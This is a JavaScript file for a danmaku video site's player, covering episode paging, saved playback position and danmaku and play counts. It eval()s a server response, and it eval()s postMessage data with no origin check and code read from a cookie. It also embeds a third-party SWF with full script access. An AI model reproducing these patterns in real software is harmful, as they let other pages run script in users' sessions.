$(function () {
  // created_paging();
  // analysis_playUrl();
  init();
  $("body").append(`
    <span id='cnzz_stat_icon_1279793741'></span>
    <script src='https://v1.cnzz.com/z_stat.php?id=1279793741&online=1&show=line' type='text/javascript'></script>
`);
});

//timeout
function timeout(t) {
  return new Promise((success) => {
    setTimeout(() => {
      success();
    }, t);
  });
}

//取localData
const localData = JSON.parse(localStorage.getItem("localData")) || {};

window.currentVideo = {}; //当前视频信息

async function init() {
  // await timeout(1000);
  const new_t = $("#play_ren .new_t");
  window.new_t = new_t;
  if ($("#play_ren").find("#video_part").length === 0) {
    new_t.next().remove();
    new_t.after(`
      <div id="video_part"></div>
      <div class="clear"></div>
      <div id="player"></div>
    `);
  }
  await timeout(200);
  created_paging();
  reloadPlay();
  getDmCount();
  getPlayCount();
  console.log("初始化成功");
}

//获取弹幕数
function getDmCount() {
  $.ajax({
    url: `/index.php?m=mukio&c=index&a=tj&playerID=10-${currentVideo.hid}-1-${currentVideo.p}`,
    type: "get",
    headers: {
      "Content-Type": "text/javascript",
    },
    success: (data) => {
      const count =
        data.replace(`document.write('`, "").replace(`');`, "") || 0;
      $("#tm").text(count);
    },
    error: (err) => {},
  });
}
//获取播放数
function getPlayCount() {
  $.ajax({
    url: `/api.php?op=count&id=${currentVideo.hid}&modelid=11`,
    type: "get",
    headers: {
      "Content-Type": "text/javascript",
    },
    success: (data) => {
      data = data
        .replace("#player_fav", "#show_olthis")
        .replace("#fav", "#olThis")
        .replace("#fav_a", "#olThis_a")
        .replace(/('0')/g, "('1')");
      // console.log(data);
      eval(`${data}`);
    },
    error: (err) => {},
  });
}

//重新加载播放器 重写
async function reloadPlay() {
  await timeout(200);
  var activeLink = parseInt(window.location.hash.replace("#", "")) - 1 || 0; //当前所在分p
  currentVideo.p = activeLink;
  analysis_playUrl();
  await timeout(1000);
  inMobile();
  $("#player .dplayer-danloading").hide();
  $("#player .dplayer-error").hide();
  await timeout(500);
  const video = $("#player .dplayer-video-current")[0]; //当前视频对象
  if (video) {
    loadVideoTime(video);
    let playTimer = null;
    //canplay 可播放时 play 播放时 playing 播放中
    video.addEventListener("play", function () {
      playTimer = setInterval(() => {
        setVideo_Storage(this.currentTime);
      }, 5000);
    });
    //暂停 清除定时器
    video.addEventListener("pause", function () {
      clearInterval(playTimer);
    });
  }
}

//加载已经播放过的视频进度
function loadVideoTime(video) {
  const have = isHave();
  if (have) {
    let videoList = JSON.parse(localStorage.getItem("videoList")) || [];
    const { hid } = currentVideo;
    //存储的视频播放进度信息
    const _currentVideo = videoList.filter((v) => {
      return v.hid === hid;
    });
    currentVideo = _currentVideo[0];
    console.log(currentVideo);
    video.currentTime = currentVideo.currentTime;
  }
}

//将视频播放信息存入storage
function setVideo_Storage(currentTime) {
  const { hid } = currentVideo;
  let videoList = JSON.parse(localStorage.getItem("videoList")) || [];
  const have = isHave();
  console.log(have);
  if (!have) {
    //未存入的 先存入
    currentVideo.currentTime = currentTime;
    videoList.push(currentVideo);
  } else {
    //已存入的 修改currentTime
    //不包含当前视频的列表
    const no_haves = videoList.filter((v) => {
      return v.hid !== hid;
    });
    currentVideo.currentTime = currentTime;
    no_haves.push(currentVideo);
    videoList = no_haves;
  }
  localStorage.setItem("videoList", JSON.stringify(videoList));
}

//是否存在视频播放信息
function isHave() {
  const { hid, p } = currentVideo;
  const videoList = JSON.parse(localStorage.getItem("videoList")) || [];
  const haves = videoList.filter((v) => {
    return v.hid === hid && Number(v.p) === Number(p);
  });
  if (haves.length > 0) {
    return true;
  } else {
    return false;
  }
}

//若在安卓或ios等移动端中打开时
function inMobile() {
  if (
    navigator.userAgent.includes("Android") ||
    navigator.userAgent.includes("iPhone")
  ) {
    //进入页面直接全屏
    // $("#player .dplayer-controller .dplayer-full-icon").click();
    $("#player .danmu_pool").hide();
    $("#player .dplayer-controller .dplayer-full-icon").hide();
    $("#m_dplayer").css("width", "100%");
    //点击弹幕库层 播放暂停
    $("#player .dplayer-video-wrap .dplayer-danmaku").on("click", () => {
      $("#player .dplayer-controller .dplayer-play-icon").click();
    });
  }
}

function analysis_playUrl() {
  var link = document.createElement("link");
  link.setAttribute("href", "/player_test/M_dplayer.min.css");
  link.setAttribute("rel", "stylesheet");
  document.head.appendChild(link);
  link.onload = function () {
    console.log("css加载完毕");
  };
  var script = document.createElement("script");
  script.setAttribute("type", "text/javascript");
  script.src = "/player_test/M_dplayer.min.js";
  document.body.querySelector("#player").appendChild(script);
  script.onload = function () {
    var dateto = Date.parse(new Date()).toString();
    dateto = dateto.substring(0, dateto.length - 3);
    var voide = [];
    for (var i = 0; i < 2; i++) {
      voide.push(document.querySelectorAll("#player_code li")[i].innerText);
    }
    voide[0] = voide[0].match(/type=.*?\|/g);
    for (var i = 0; i < voide[0].length; i++) {
      voide[0][i] = voide[0][i].replace(/\|/, "");
    }
    var activeLink = parseInt(window.location.hash.replace("#", "")) - 1 || 0;
    var playUrlType = getQueryString("type", "?" + voide[0][activeLink]);
    switch (playUrlType) {
      case "189":
        $.ajax({
          type: "get",
          url:
            "/player_test/apiurl.php?" +
            voide[0][activeLink] +
            "&key=tucao.cc&r=" +
            dateto,
          success: function (result) {
            var playurl = "";
            try {
              if (typeof result === "object") {
                var urltree = (document.createElement("abc").innerHTML =
                  result);
                if (urltree.querySelector("result").innerHTML == "fail") {
                  playurl = getQueryString("file", voide[0][activeLink]);
                } else {
                  playurl = urltree.querySelector("url").innerHTML;
                  playurl = playurl.replace("<![CDATA[", "").replace("]]>", "");
                }
              }
              created_html5(playurl, voide, activeLink);
            } catch (err) {
              console.error(err);
            }
          },
        });
        break;
      case "video":
        created_html5(
          getQueryString("file", voide[0][activeLink]),
          voide,
          activeLink
        );
        break;
      case "clicli":
        $.ajax({
          type: "get",
          url: voide[0][activeLink].substring(16),
          success: function (res) {
            created_html5(res.url, voide, activeLink);
          },
        });
        break;
      default:
        created_html5(
          getQueryString("file", voide[0][activeLink]),
          voide,
          activeLink
        );
        break;
    }
  };
}

function created_html5(playurl, voide, activeLink) {
  var dp = new M_dplayer({
    container: document.getElementById("player"),
    video: {
      url: playurl,
    },
    danmaku: {
      id: voide[1] + "-" + activeLink,
      api: "/index.php",
      token: "demo",
      user: "test",
      margin: { bottom: "15%" },
      poster: "",
      unlimited: true,
      callback(results) {
        console.log("弹幕装填成功");
      },
    },
  });
}

async function created_paging() {
  const hid = $("#player_code").attr("mid").replace("_", "");
  currentVideo.hid = hid;
  var a, b, x, s, i;
  a = $("#player_code>li:first").html();
  if (!a) return;
  if (a.indexOf("**")) {
    a = a.split("**") || [];
  } else {
    a[0] = a;
  }
  if (a[a.length - 1] == "") a.pop();
  b = $("#video_part");
  s = "";
  for (i in a) {
    ii = parseInt(i);
    x = a[i].split("|");
    if (!x[1]) x[1] = "未命名";
    if (x[0])
      s +=
        '<a href="#' +
        (ii + 1) +
        '" pid="' +
        x[0] +
        "&cid=" +
        $("#player_code>li:last").html() +
        "-" +
        i +
        '" mid="' +
        $("#player_code").attr("mid") +
        (ii + 1) +
        '"><p><span>' +
        (ii + 1) +
        "</span>" +
        x[1] +
        "</p></a>";
  }
  b.html('<div id="part_lists">' + s + '<div class="clear"></div></div>');
  i = parseInt(location.href.substring(location.href.indexOf("#") + 1));
  if (isNaN(i)) i = 0;
  else i -= 1;
  //切换分p
  b.find("a").click(async function () {
    console.log("切换分p");
    $(this).addClass("now");
    $(this).siblings().removeClass("now");
    reloadPlay();
  });
  var activeLink = parseInt(window.location.hash.replace("#", "")) - 1 || 0; //当前所在分p
  currentVideo.p = activeLink;
  if (b.find("a").eq(activeLink).length > 0) {
    b.find("a").eq(activeLink).addClass("now");
  }
}

function __GetCookie(cName) {
  var theCookie = "" + document.cookie;
  var ind = theCookie.indexOf(cName);
  if (ind == -1 || cName == "") return "";
  var ind1 = theCookie.indexOf(";", ind);
  if (ind1 == -1) ind1 = theCookie.length;
  return unescape(theCookie.substring(ind + cName.length + 1, ind1));
}

function __SetCookie(name, value) {
  var Days = 365;
  var exp = new Date(); //new Date("December 31, 9998");
  exp.setTime(exp.getTime() + Days * 24 * 60 * 60 * 1000);
  document.cookie =
    name +
    "=" +
    escape(value) +
    ";expires=" +
    exp.toGMTString() +
    "; path=/; domain=.tucao.one";
}

function getQueryString(name, parameter) {
  if (parameter.indexOf("clicli") > -1) {
    return "clicli";
  }
  var reg = new RegExp("(^|&)" + name + "=([^&]*)(&|$)", "i");
  var r = parameter.substr(1).match(reg);
  if (r != null) return unescape(r[2]);
  return null;
}

function onSWFSwitchState(state, isFullscreen) {
  if (state == "wideScreen") {
    if ($this.attr("pid").indexOf("qq") != -1) {
      $("#player iframe").attr("height", "592");
    } else {
      $("#player embed").attr("height", "592");
    }
    $("#player").height(592);
  } else if (state == "normal") {
    if ($this.attr("pid").indexOf("qq") != -1) {
      $("#player iframe").attr("height", "492");
    } else {
      $("#player embed").attr("height", "492");
    }
    $("#player").height(492);
  }
}

function created_flashplayer() {
  var a, b, x, s, i;
  a = $("#player_code>li:first").html();
  if (a.indexOf("**")) a = a.split("**");
  else a[0] = a;
  if (a[a.length - 1] == "") a.pop();
  b = $("#video_part");
  s = "";
  for (i in a) {
    ii = parseInt(i);
    x = a[i].split("|");
    if (!x[1]) x[1] = "未命名";
    if (x[0])
      s +=
        '<a href="#' +
        (ii + 1) +
        '" pid="' +
        x[0] +
        "&cid=" +
        $("#player_code>li:last").html() +
        "-" +
        i +
        '" mid="' +
        $("#player_code").attr("mid") +
        (ii + 1) +
        '"><p><span>' +
        (ii + 1) +
        "</span>" +
        x[1] +
        "</p></a>";
  }
  b.html('<div id="part_lists">' + s + '<div class="clear"></div></div>');
  i = parseInt(location.href.substring(location.href.indexOf("#") + 1));
  if (isNaN(i)) i = 0;
  else i -= 1;
  b.find("a")
    .click(function () {
      var s;
      $this = $(this);
      $this.siblings("a").removeClass("now");
      $this.addClass("now");
      var rand = Math.random().toString(36).substr(2);
      var domains = [".api.dogebridge.xyz"];
      var domain = domains[Math.floor(Math.random() * domains.length)];
      //s='<iframe height="492" width="964" src="http://www.tucao.one/player.php?" scrolling="no" border="0" frameborder="no" framespacing="0"></iframe>';
      //if($this.attr('pid').indexOf('tudou')!=-1)
      s =
        '<embed height="492" width="964" src="http://clientupdate.175pt.com/Protect/175Secure/file/MukioPlayerPlus.swf" type="application/x-shockwave-flash" quality="high" allowfullscreen="true" flashvars="." allowscriptaccess="always" AllowNetworking="all"></embed>';
      //if($this.attr('pid').indexOf('tudou')!=-1)s='<iframe height="492" width="964" src="http://101.201.208.222:86/player/MukioPlayerPlus.swf?" scrolling="no" border="0" frameborder="no" framespacing="0"></iframe>';
      s = s.replace(
        /(src=\"http.*?swf\?|flashvars=\").*?\"/gi,
        "$1" + $this.attr("pid") + '"'
      );
      $("#player").html(s);
      if (
        $this.attr("mid").substr(-2, 1) == "_" &&
        $this.attr("mid").substr(-1, 1) == 1
      ) {
        $("#show_mini").val(
          "http://www.tucao.one/mini/" +
            $this.attr("mid").substr(0, $this.attr("mid").length - 2) +
            ".swf"
        );
      } else {
        $("#show_mini").val(
          "http://www.tucao.one/mini/" + $this.attr("mid") + ".swf"
        );
      }
      //$('#show_code').val(s);
      ii = $this.attr("href").substr($this.attr("href").indexOf("#") + 1);
      if (ii == "") ii = "1";
      if ($this.siblings("a").length)
        $("#title_part").html(
          "[" + ii + "/" + ($this.siblings("a").length + 1) + "]"
        );

      if ((location.href.indexOf("#") == -1) & (ii == "1")) return false;
    })
    .eq(i)
    .click();

  if (b.find("a").length < 2) b.hide();
  else b.show();
  if ($('iframe[src^="https://"]').size() > 0) {
    if (window.postMessage) {
      var onMessage = function (e) {
        eval(e.data);
      };

      if (window.addEventListener) {
        window.addEventListener("message", onMessage, false);
      } else if (window.attachEvent) {
        window.attachEvent("onmessage", onMessage);
      }
    } else {
      setInterval(function () {
        if ((evalCode = __GetCookie("__SS"))) {
          __SetCookie("__SS", "");

          eval(evalCode);
        }
      }, 1000);
    }
  }
}
